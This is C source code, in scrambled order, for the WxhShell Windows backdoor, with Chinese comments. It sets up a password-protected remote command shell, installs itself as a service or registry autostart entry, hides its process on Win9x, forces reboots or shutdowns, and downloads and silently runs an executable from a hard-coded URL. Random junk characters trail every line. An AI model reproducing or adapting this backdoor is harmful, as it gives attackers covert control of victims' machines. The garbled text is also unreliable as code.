    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D~FIv  
    if(Boot(SHUTDOWN)) Y>T<Qn^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ::_bEmk  
    else { J/QqwoR  
    closesocket(wsh); 2tg07  
    ExitThread(0); QnJLTBv  
    } kRr/x-"  
    break; eE_$ADEf  
    } O6,2M[a  
  // 获取shell _kc}:  
  case 's': { &7,:: $cu  
    CmdShell(wsh); [Op^l%BC  
    closesocket(wsh); KF1Zy;  
    ExitThread(0); } lXor~_i  
    break; DS9-i2  
  } 2r!- zEV  
  // 退出 qnb/zr)p  
  case 'x': { ^ZIs>.'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PC\p>6xT  
    CloseIt(wsh); ?-~<Vc*  
    break; liqVfB%  
    } PI@?I&Bo  
  // 离开 6XHM`S  
  case 'q': { 0Y'ow=8M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `t\\O  
    closesocket(wsh); AiL80W^=d)  
    WSACleanup(); iJeo d fC  
    exit(1); s)?GscPG!  
    break; /6F\]JwU  
        } (J?_~(,`"  
  } &'`ki0Xh;  
  } g<ov` bF  
,xR u74  
  // 提示信息 ;W|GUmADf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); t>OEzUd9  
} '(SivD  
  } 0>46ZzxUZ  
`e`DSl D>  
  return; bPif"dhHe  
} ?D,j!Hy  
aI=Q_}8-  
// shell模块句柄 Nc HU)  
int CmdShell(SOCKET sock) ao0^;  
{ orYZ<,u  
STARTUPINFO si; ;at1|E*  
ZeroMemory(&si,sizeof(si)); =.OzpV)=V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K}M lC}oIt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |3~]XN-  
PROCESS_INFORMATION ProcessInfo; 7z$bCO L=S  
char cmdline[]="cmd"; *FC|v0D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q"uK6ANp'  
  return 0; &*E! %57  
} L7nG5i  
(>Nwd^  
// 自身启动模式 E!.&y4  
int StartFromService(void) :xTm- L  
{ (74y2U6  
typedef struct V2xvuDHI  
{ BPl% SL  
  DWORD ExitStatus; "LH!Trl@k  
  DWORD PebBaseAddress; e2BC2K0  
  DWORD AffinityMask; f`*VNB`  
  DWORD BasePriority; WgG$ r  
  ULONG UniqueProcessId; )#1!%aQ  
  ULONG InheritedFromUniqueProcessId; 2#00<t\  
}   PROCESS_BASIC_INFORMATION; 4"3.7.<Q`  
SkC.A ?  
PROCNTQSIP NtQueryInformationProcess; b#"&]s-  
S>p0{:zM  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; v,8Q9<=O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AC 2kG  
I}f7|hYX  
  HANDLE             hProcess; f& \ Bs8la  
  PROCESS_BASIC_INFORMATION pbi; lFduX D  
m`n~-_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r&Qa;-4Pl  
  if(NULL == hInst ) return 0; #d<|_  
|H]0pbC)w  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1G67#L)USq  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #0Uz1[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *-(o. !#1  
Ycx}FYTY  
  if (!NtQueryInformationProcess) return 0; xt IF)M  
#_`q bIOAj  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); eMdf [eS  
  if(!hProcess) return 0; hSXJDT2  
K3UN#G)U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; C@\5%~tW+  
@$t\yBSK  
  CloseHandle(hProcess); GKOl{och  
&r*F+gL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ()w;~$J  
if(hProcess==NULL) return 0; D%LYQ  
Sv0?_3C  
HMODULE hMod; $.:x3TsA  
char procName[255]; }~NXiUe  
unsigned long cbNeeded; ^nNpT!o  
I.(@#v7T  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `m8WLj  
Pa+_{9  
  CloseHandle(hProcess); `u R`O9)e  
_ WPt zL  
if(strstr(procName,"services")) return 1; // 以服务启动 R*FDg;t4  
C"mWO Y2]  
  return 0; // 注册表启动 lN8l71N^  
} S("dU`T?  
~IWdFUKk  
// 主模块 'ey62-^r6  
int StartWxhshell(LPSTR lpCmdLine) #B6f{D[pI  
{ #`f{\  
  SOCKET wsl; A L^tUcl  
BOOL val=TRUE; W}2!~ep!  
  int port=0; 6O.kKhk  
  struct sockaddr_in door; (9TSH3f?  
_uL[ Z  
  if(wscfg.ws_autoins) Install(); 5~T+d1md  
>Yk|(!v  
port=atoi(lpCmdLine); NI.ROk1{+4  
JZ*.;}"  
if(port<=0) port=wscfg.ws_port; ;UUgqX#  
sWMln:=  
  WSADATA data; PB.'huu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?8?vBkz~  
z}.6yHS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Rm79mh9  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2eeFaFif  
  door.sin_family = AF_INET; x Gbq,~_r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^,t@HN;gA  
  door.sin_port = htons(port); 6 >;OVX  
0!KYi_3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W,[QK~  
closesocket(wsl); *)`PY4zF  
return 1; tg==Qgz  
} 5G gH6   
]4V1]  
  if(listen(wsl,2) == INVALID_SOCKET) { ,b IJW]h0  
closesocket(wsl); #"?pY5 ("  
return 1; ' Q(kx*;  
} surNJ,)  
  Wxhshell(wsl); 6&0G'PMf  
  WSACleanup(); ;H`@x Lv*  
/DyeMCY-  
return 0; V=th-o3[  
V9qA'k  
} Oq,@{V@)9k  
K|$ c#X  
// 以NT服务方式启动 *| W*Mu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vr{|ubG]d  
{ /\uopa  
DWORD   status = 0; |r,})o>  
  DWORD   specificError = 0xfffffff; @9n|5.i  
w0Ex}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~Dz:n]Vk/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _u u&?<h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3N+B|WrM  
  serviceStatus.dwWin32ExitCode     = 0; j[FB*L1!D  
  serviceStatus.dwServiceSpecificExitCode = 0; b]Kb ~y|  
  serviceStatus.dwCheckPoint       = 0; 9L3P'!Z  
  serviceStatus.dwWaitHint       = 0; WLw i  
eyp_.1C~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IDD`N{EA  
  if (hServiceStatusHandle==0) return; TQNdBq5I6  
89GW!  
status = GetLastError(); S;gy:n!t  
  if (status!=NO_ERROR) QKx(S=4jQ  
{ o#1Ta7Ro  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &"gX 7cK8  
    serviceStatus.dwCheckPoint       = 0; U<=d@knH  
    serviceStatus.dwWaitHint       = 0; lo'#dpt<  
    serviceStatus.dwWin32ExitCode     = status; Mp!1xx  
    serviceStatus.dwServiceSpecificExitCode = specificError; aXQAm$/ >  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); '0 )`.  
    return; 3)LS#=  
  } L kl E,W  
]v),[]Xs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +/eJ#Xw3u8  
  serviceStatus.dwCheckPoint       = 0; Y3FFi M[s~  
  serviceStatus.dwWaitHint       = 0; T}1"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \v\ONp"  
} );TB(PQsBT  
dY0W=,X$7T  
// 处理NT服务事件,比如:启动、停止 ;-Os~81o?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) );}M"W8  
{ y= f.;  
switch(fdwControl) ?E V^H-rr  
{ @lWNSf  
case SERVICE_CONTROL_STOP: $IX(a4'  
  serviceStatus.dwWin32ExitCode = 0; ub9[!}r't  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  4q7H  
  serviceStatus.dwCheckPoint   = 0; 4|I;z  
  serviceStatus.dwWaitHint     = 0; Ja4M@z  
  { &v1E)/q{Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); lxgfi@@+h  
  } ~MC 5rOA  
  return; 59SL mj  
case SERVICE_CONTROL_PAUSE: Rs S:I6L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *y7 Yf7  
  break; ,30lu a  
case SERVICE_CONTROL_CONTINUE: vO~w~u5  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Rr CG(Bh  
  break; 3fpaTue|x  
case SERVICE_CONTROL_INTERROGATE: ]+a~/  
  break; I3r")}P  
}; qUmSB"#Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /ar0K9`c  
} C@t,oDU#  
cC/32SmY4  
// 标准应用程序主函数 sq(5k+y*J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r r\u)D#)  
{ $M0l (htR  
y4|<+9<7  
// 获取操作系统版本 "q=ss:(  
OsIsNt=GetOsVer(); ?SO!INJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zh=0zJ  
@6+_0^  
  // 从命令行安装 dqQJC qc!  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8d8jUPFQ  
st)v'ce,  
  // 下载执行文件 a'Odw2Q_  
if(wscfg.ws_downexe) { : OjmaP  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NvTK7? v  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8rlf9m  
} lc~c=17  
 E^5  
if(!OsIsNt) { mS;WNlm\  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,YBO}l  
HideProc(); ,ZrR*W?iF  
StartWxhshell(lpCmdLine); "K9[P :nw  
} Wf5;~RJC?  
else 8mRZ(B>% X  
  if(StartFromService()) oH v.EO  
  // 以服务方式启动 #6YpV)  
  StartServiceCtrlDispatcher(DispatchTable); Hf1b&8&:K  
else f_LXp$n  
  // 普通方式启动 n/*" 2  
  StartWxhshell(lpCmdLine); qa@;S,lp  
ZnAQO3%y  
return 0; d/Wp>A@dob  
} W-|C K&1  
<P0 P*>M  
eg?p)|  
fr04nl  
=========================================== ;vPFRiFK  
[4YRyx&:++  
No[9m_  
q&&"8.w-  
U&Atgv  
U=j`RQ 9,  
" "+qZv(  
>FHx],  
#include <stdio.h> ZlE=P4`X:  
#include <string.h> eNi#% ?=WB  
#include <windows.h> Q<MxbHk9  
#include <winsock2.h> "M2WK6?O5  
#include <winsvc.h> #?D[WTV  
#include <urlmon.h> >d"\  
i?@7>Ca  
#pragma comment (lib, "Ws2_32.lib") Evg#sPu\  
#pragma comment (lib, "urlmon.lib") KVEc:<|x  
NYg&8s.  
#define MAX_USER   100 // 最大客户端连接数 m8F \ESL  
#define BUF_SOCK   200 // sock buffer e]; IQ|  
#define KEY_BUFF   255 // 输入 buffer |E$q S)y  
}W!w  
#define REBOOT     0   // 重启 a;U)#*(5|v  
#define SHUTDOWN   1   // 关机 JgP%4)]LV  
A/}[Z\C  
#define DEF_PORT   5000 // 监听端口 }2*qv4},!  
!blGc$kC  
#define REG_LEN     16   // 注册表键长度 XUR#|  
#define SVC_LEN     80   // NT服务名长度 &YD+ s%OL  
;O~FiA~`c  
// 从dll定义API >j ].`T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s?1Aj<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); hv>Xr=RE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^{0*?,-x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jpR]V86G  
,aP5)ZN-  
// wxhshell配置信息 A0;{$/  
struct WSCFG { fU%Ys9:wU  
  int ws_port;         // 监听端口 };"_Ku4#-  
  char ws_passstr[REG_LEN]; // 口令 QZ7W:%r(4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^!k_"C)B  
  char ws_regname[REG_LEN]; // 注册表键名 H=WB6~8)  
  char ws_svcname[REG_LEN]; // 服务名 ?5lO1(  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \SwqBw  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 YKayaI\*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o.|36#Fa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o>d0R w4h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?/hS1yD;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x#5[i;-c  
Q;=4']hYU  
};  ('BB9#\t  
O5+Ah%  
// default Wxhshell configuration -H[@]Q4w  
struct WSCFG wscfg={DEF_PORT, + >:}   
    "xuhuanlingzhe", l6xqc,h!K  
    1, iny/K/5bf  
    "Wxhshell", 8(q8}s$>  
    "Wxhshell", U Lq`!1{   
            "WxhShell Service", NL-PQ%lUA  
    "Wrsky Windows CmdShell Service", .9g :-hv  
    "Please Input Your Password: ", /J!hKK^k  
  1, +@8, uL  
  "http://www.wrsky.com/wxhshell.exe", `2V{]F  
  "Wxhshell.exe" {LqYb:/C5U  
    }; vKdS1Dn1  
)ytP$,r![S  
// 消息定义模块 k@n L(2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "OkZ [E)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ix?Z:pIS0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :l Z\=2D  
char *msg_ws_ext="\n\rExit."; 8/,s 8u  
char *msg_ws_end="\n\rQuit."; } MP_  
char *msg_ws_boot="\n\rReboot..."; 3y:),;|5  
char *msg_ws_poff="\n\rShutdown..."; hmb=_W  
char *msg_ws_down="\n\rSave to "; ?,hGKSC  
z [u!C/  
char *msg_ws_err="\n\rErr!"; N5cC!K  
char *msg_ws_ok="\n\rOK!"; z?`7g%Z?{  
-(%Xq{  
char ExeFile[MAX_PATH]; >oEFuwE  
int nUser = 0; l#>A.-R*`  
HANDLE handles[MAX_USER]; Sw[*1C8  
int OsIsNt; +Bt%W%_X  
Sv>CVp*  
SERVICE_STATUS       serviceStatus; m#6p=E  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~e){2_J&n  
yC|odX#  
// 函数声明 !l .^]|  
int Install(void); Ln\Gv/)  
int Uninstall(void); i#4E*B_-  
int DownloadFile(char *sURL, SOCKET wsh); 2#UVpgX?  
int Boot(int flag); q_>=| b  
void HideProc(void); u^VQwu6?G  
int GetOsVer(void); d] E.F64{  
int Wxhshell(SOCKET wsl); 76c:* bZ  
void TalkWithClient(void *cs); cauKG@:2F  
int CmdShell(SOCKET sock); >w\3.6A  
int StartFromService(void); }ri7@HCY4  
int StartWxhshell(LPSTR lpCmdLine);  @_WZZ  
md : Wx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DC$> 5FDv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j \ #y  
w/(2fU(  
// 数据结构和表定义 nAj +HLO  
SERVICE_TABLE_ENTRY DispatchTable[] = y{tM|  
{ "oR%0pU*  
{wscfg.ws_svcname, NTServiceMain}, }1sd<<\`  
{NULL, NULL} QNj6ETB-d  
}; sN1I+X  
poi39B/Vt  
// 自我安装 Ipow Jw^  
int Install(void) \C1`F [d_  
{ V`feUFw3  
  char svExeFile[MAX_PATH]; a'my0m  
  HKEY key; Q b5vyV `  
  strcpy(svExeFile,ExeFile); v}^uN+a5  
v?DA>  
// 如果是win9x系统,修改注册表设为自启动 "(\]-%:7  
if(!OsIsNt) { x.(Sv]+[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zj1_#=]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pM!cF  
  RegCloseKey(key); 5* ~E dT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0{Zwg0&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); = o1&.v2j  
  RegCloseKey(key); nC9x N  
  return 0; D r6u0rx8  
    } lOIf4  
  } 3.?oG5 P#  
} 5@i(pVWZ  
else { r"KW\HN8  
pr1>:0dg  
// 如果是NT以上系统,安装为系统服务 7 /DDQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >?$qKu  
if (schSCManager!=0) {=y~O  
{ :C#(yp  
  SC_HANDLE schService = CreateService K7 tSSX<N  
  ( D CSTp2  
  schSCManager, `hU 2Ss~  
  wscfg.ws_svcname, gvxOo#8]  
  wscfg.ws_svcdisp, S%Z2J)H"  
  SERVICE_ALL_ACCESS, z }P1+Pm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `u;4Z2Lr0  
  SERVICE_AUTO_START, dJmr!bN\;  
  SERVICE_ERROR_NORMAL, Z&J.8A]L  
  svExeFile, Gii1|pLZ1  
  NULL, x.U:v20`  
  NULL, E. Arq6  
  NULL, F8*P/<P1cK  
  NULL, qI1J M =  
  NULL <\\,L@  
  ); .W0;Vhw"  
  if (schService!=0) *U|2u+| F  
  { <%LN3T  
  CloseServiceHandle(schService); I h 19&D  
  CloseServiceHandle(schSCManager); "nn>I}jK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q\Nz^~dQ:Y  
  strcat(svExeFile,wscfg.ws_svcname); >xm:?WR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Eg]tDPN1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #)<WQZ)  
  RegCloseKey(key); :c&F\Q=  
  return 0; zCpXF< _C  
    } 53?B.\  
  } OjY#xO+'  
  CloseServiceHandle(schSCManager); /y5a~3  
} /m*+N9)  
} Z E},x U%  
Q-$EBNz  
return 1; f`,isy[  
} FZJ sZeO  
"]1|%j  
// 自我卸载 2c8e:Xgv  
int Uninstall(void) P&8QKX3 j^  
{ 7?~*F7F  
  HKEY key; 4-\gha  
vsCy?  
if(!OsIsNt) { &UoQ8&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L]Dl}z  
  RegDeleteValue(key,wscfg.ws_regname); 7T9Mo .  
  RegCloseKey(key);  *4{GI D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $pYT#_P!/  
  RegDeleteValue(key,wscfg.ws_regname); '0E^th#u-0  
  RegCloseKey(key); Hd0?}w\  
  return 0; A>Oi9%OY:  
  } ;{Su:Ixg  
} dW2Lvnh!>/  
} dIRSgJ`  
else { ZNTOI]P&  
^ )[jBUT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H{fOAv1*  
if (schSCManager!=0) W*NK-F[  
{ ojy[<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $+Vp>  
  if (schService!=0) :k7h"w  
  { 4l"oq"uc  
  if(DeleteService(schService)!=0) { RS1c+]rr  
  CloseServiceHandle(schService); s*.&DN  
  CloseServiceHandle(schSCManager); $tFmp)  
  return 0; c/ABBvd|  
  } !$^LTBOH3  
  CloseServiceHandle(schService); :=^_N}  
  } VT`C<'   
  CloseServiceHandle(schSCManager); i slg5  
} {qjw  S1v  
} '"<h;|  
*[O)VkL\%i  
return 1; /?g:`NT  
} T@,tlIM  
IA?v[xu  
// 从指定url下载文件 b#z{["%Zp  
int DownloadFile(char *sURL, SOCKET wsh) C*1,aLSw  
{ $ -n?q w  
  HRESULT hr; Wk&g!FR  
char seps[]= "/"; 9Fv VM9  
char *token; lDm0O)Dh!  
char *file; pz@wbu=($4  
char myURL[MAX_PATH]; n{v[mqm^  
char myFILE[MAX_PATH]; dAj;g9N/h  
%Ut7%obpi  
strcpy(myURL,sURL); d%='W|i\p&  
  token=strtok(myURL,seps); *#2]`G)  
  while(token!=NULL) ;/]v mgl2  
  { WT9 k85hqj  
    file=token; )=c/{  
  token=strtok(NULL,seps); xxC2F:Q?U  
  } 9Jhc5G  
('7qJkV  
GetCurrentDirectory(MAX_PATH,myFILE); #:n:3]t  
strcat(myFILE, "\\"); BK16~Wl  
strcat(myFILE, file); zw,=mpf3_  
  send(wsh,myFILE,strlen(myFILE),0); V]$J&aD  
send(wsh,"...",3,0); vfZ.js/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )"Vd8*e  
  if(hr==S_OK) ,Rh6( I  
return 0; ekx~svcC&A  
else \9}RAr#2]N  
return 1; i[d@qp!H=  
F 7~T=X)1  
} BLs kUrPF  
@z!|HLD+  
// 系统电源模块 :CJ]^v   
int Boot(int flag) x^ruPiH  
{ 0X"D!G):  
  HANDLE hToken;  !xz0zT.  
  TOKEN_PRIVILEGES tkp; ]NrA2i?  
u= u#6%  
  if(OsIsNt) { ^dF?MQA<@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); eURj'8o),  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); CHPu$eu  
    tkp.PrivilegeCount = 1; C VyE5w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vw/L|b7G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > R5<D'cEN  
if(flag==REBOOT) { tEXY>=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ckc4U. t|  
  return 0; AvS<b3EoN  
} k&h3"  
else { Y={_o!9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =5jng.  
  return 0; lQSKY}h  
} )LP=IT  
  } 93aRWEu3  
  else { Vo2{aK;  
if(flag==REBOOT) { 3RyB 0 n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  A/zZ%h  
  return 0; Rt^~db  
} @1UC9}>  
else { /) Pf ]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e0ea2 2  
  return 0; 7"c^$fj  
} N @24)g?  
} !leLOi2T  
'nO%1BZj+  
return 1; [h GS*  
} mrgieb%  
QmpP_eS >  
// win9x进程隐藏模块 "`jey)&H*M  
void HideProc(void) Z+*t=?L,,G  
{ _Bp{~-fO  
X pH]CF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =I}8-AS~V  
  if ( hKernel != NULL ) Bi'qy]%  
  { uGxh}'&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");  gh{Z=_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); */ ~_3  
    FreeLibrary(hKernel); vCB0 x:/  
  } NQx`u"=  
n7r )wy  
return; bvK fxAih  
} uFzvb0O`O  
};z[x2l^  
// 获取操作系统版本 &u@<0 1=  
int GetOsVer(void) I|27%i  
{ drr n&y  
  OSVERSIONINFO winfo; ah (lH5r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AP8YY8,  
  GetVersionEx(&winfo); X4"D Lt"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sr+Y"R  
  return 1; 4*K~6Vh  
  else 5w# Ceg9  
  return 0; ?=22@Q}g  
} I}&`IUP  
0"*!0s ~  
// 客户端句柄模块 E mUA38  
int Wxhshell(SOCKET wsl) =68CR[H  
{ z,"fr%*,N  
  SOCKET wsh; f ;[\'_.*  
  struct sockaddr_in client; ;ORT#7CU  
  DWORD myID; q (?%$u.  
[-*1M4D9  
  while(nUser<MAX_USER) y$f{P:!"{3  
{ ,'KQFC   
  int nSize=sizeof(client); <u 'q._m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); l20fA-T _I  
  if(wsh==INVALID_SOCKET) return 1; Y] ZNAR  
Vl0 J!JK_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ac-R q.GQY  
if(handles[nUser]==0)  m,,FNYW  
  closesocket(wsh); YhVV~bvz*  
else VOj{&O2c  
  nUser++; ]%RX\~Q.4  
  } K|n$-WDG}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^WZcM#~TL  
|)7dh B  
  return 0; /n9yv  
} zj?^,\{A  
Y_H|Fl^  
// 关闭 socket a<W[???m/M  
void CloseIt(SOCKET wsh) 1h"CjOp,7  
{ u9.x31^  
closesocket(wsh); :2qUel\PEC  
nUser--; Zi0B$3iOb  
ExitThread(0); :KJG3j?   
} B_^ ~5_0:  
%(c5T)B9  
// 客户端请求句柄 @bc=O1vX~;  
void TalkWithClient(void *cs) 8b^v@|)N  
{ lO Rym:P  
^sWsP`DV  
  SOCKET wsh=(SOCKET)cs; 9q ##)  
  char pwd[SVC_LEN]; _x.<Zc\x  
  char cmd[KEY_BUFF]; :|GC~JElo5  
char chr[1]; W' DpI7  
int i,j; C Rd1zDB  
J^Dkx"1GD  
  while (nUser < MAX_USER) { y?t2@f]!XK  
*$t<H-U-  
if(wscfg.ws_passstr) { N^G:m~>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @+9x8*~S'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); yEaim~  
  //ZeroMemory(pwd,KEY_BUFF); E!~Ok  
      i=0; "1<>c/h  
  while(i<SVC_LEN) { <`B4+:;w6  
E5#Dn.!~  
  // 设置超时 %[x oA)0!  
  fd_set FdRead; d:U2b"k=/u  
  struct timeval TimeOut; YPjjSi:#  
  FD_ZERO(&FdRead); C&&*6E5  
  FD_SET(wsh,&FdRead); $yZ(c#L  
  TimeOut.tv_sec=8; ; W/K7}  
  TimeOut.tv_usec=0; n^svRM]eQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8IAf 9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zfAkWSY  
q,ry3Nr4n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k63]Qf=5?N  
  pwd=chr[0]; +w(sDH~kd  
  if(chr[0]==0xd || chr[0]==0xa) { jLANv{"  
  pwd=0; w3l+BUn:X  
  break; P4M*vZq)  
  } FD}hw9VyF@  
  i++; D[m+= -  
    } P,$|.p d'  
k *a?Ey$  
  // 如果是非法用户,关闭 socket {Hv/|.),hu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M@G <I]\  
} ^yO+-A2zC  
wkO8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fp)+>o T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); igoXMsifT+  
Ft7{P.g  
while(1) { sXD.*D  
-QUr|:SK:  
  ZeroMemory(cmd,KEY_BUFF); ?r~|B/ ]  
duCso M/  
      // 自动支持客户端 telnet标准   _TB,2 R  
  j=0; _K4Igq  
  while(j<KEY_BUFF) { d)G' y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X3z$f(lF%)  
  cmd[j]=chr[0]; =F(fum;zH  
  if(chr[0]==0xa || chr[0]==0xd) { qjK'sge/  
  cmd[j]=0; eV?._-G  
  break;  H %Cb  
  } % R18  
  j++; 0Zt=1Tv  
    } >S3,_@C  
G_fP%ovh  
  // 下载文件 X3C"A|HE9  
  if(strstr(cmd,"http://")) { XHX\+&6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .{cka]9WJz  
  if(DownloadFile(cmd,wsh)) u?OyvvpH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); : ryE`EhB  
  else U_/sY9gz(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C*;g!~{  
  } cULASS`,  
  else { a(+.rf;  
?2Q9z-$  
    switch(cmd[0]) { tBtG- X2  
  Y9b|lP7!  
